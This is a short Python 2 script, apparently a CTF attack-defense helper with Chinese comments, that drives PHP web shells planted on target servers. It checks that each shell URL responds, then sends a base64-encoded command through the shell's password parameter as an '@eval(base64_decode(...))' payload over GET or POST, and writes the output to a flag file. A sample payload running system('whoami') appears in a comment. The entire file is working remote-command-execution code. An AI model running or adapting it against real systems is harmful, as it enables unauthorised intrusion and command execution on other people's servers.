62 lines
2.0 KiB
Python

#!/usr/bin/python
#coding=utf-8
import requests,base64
def file_write(filepath,filecontent):
file = open(filepath,"a")
file.write(filecontent)
file.close()
def getflag(url,method,passwd,flag_path,cmd):
#判断shell是否存在
try :
res = requests.get(url,timeout=3)
except :
print("[-] %s ERR_CONNECTION_TIMED_OUT" %url)
file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
return 0
if res.status_code!=200 :
print("[-] %s Page Not Found!" %url)
file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
return 0
#执行命令来获取flag system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
getflag_cmd = cmd
data={}
if method=='get':
data[passwd]='@eval(base64_decode($_GET[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.get(url,params=data,timeout=3)
#print res.url
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print("[+] %s getflag sucessed!"%url)
else :
print("[-] %s cmd exec response is null!"%url)
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except :
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print("[+] %s Getflag Failed! You can check the shell's passwd!"%url)
elif method=='post':
data['pass']='Sn3rtf4ck'
data[passwd]='@eval(base64_decode($_POST[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.post(url,data=data,timeout=3)
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print("[+] %s getflag sucessed!"%url)
else :
print("[-] %s cmd exec response is null!"%url)
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except:
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print("[+] %s Getflag Failed! You can check the shell's passwd!"%url)